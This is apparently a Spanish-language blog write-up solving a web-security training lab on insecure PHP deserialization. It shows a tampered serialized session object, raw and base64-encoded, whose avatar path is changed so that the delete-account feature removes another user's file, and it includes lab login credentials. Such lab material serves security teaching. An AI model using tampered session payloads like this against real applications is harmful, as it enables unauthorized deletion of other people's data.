Entrada

Insecure Deserialization Lab 3

Insecure Deserialization Lab 3

Skills

  • Using application functionality to exploit insecure deserialization

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio utiliza un mecanismo basado en serialización para manejar las sesiones. Una determinada característica invoca un método tomando como parámetro los datos proporcionados en un objeto serializado. Para resolver el laboratorio, debemos editar el objeto serializado en la cookie de la sesión y usarlo para eliminar el archivo morale.txt del directorio de inicio de Carlos. Podemos iniciar sesión en nuestra propia cuenta utilizando las credenciales wiener:peter También tenemos acceso a una cuenta de respaldo, a la que podemos acceder con las credenciales gregg:rosebud


Resolución

Al acceder a la web nos sale esto

Pulsamos sobre My account y nos logueamos utilizando las credenciales wiener:peter

Al iniciar sesión vemos esto

Si pulsamos sobre Delete account y capturamos la petición con Burpsuite

Podemos modificamos la ruta al avatar

1
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"igl0w35pzxoaof1o4fsavaudvun2e95u";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}

Nos copiamos el valor de session modificado, nos dirigimos al navegador y pulsamos Ctrl + Shift + i

1
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6ImpxeHFjYTFsNDYxY2o2ZHcxeDI0YndmM2NxaWx1NnU5IjtzOjExOiJhdmF0YXJfbGluayI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30=

Refrescamos la página pulsando F5 y pulsamos en Delete account nuevamente para borrar el archivo alojado en /home/carlos/morale.txt

Esta entrada está licenciada bajo CC BY 4.0 por el autor.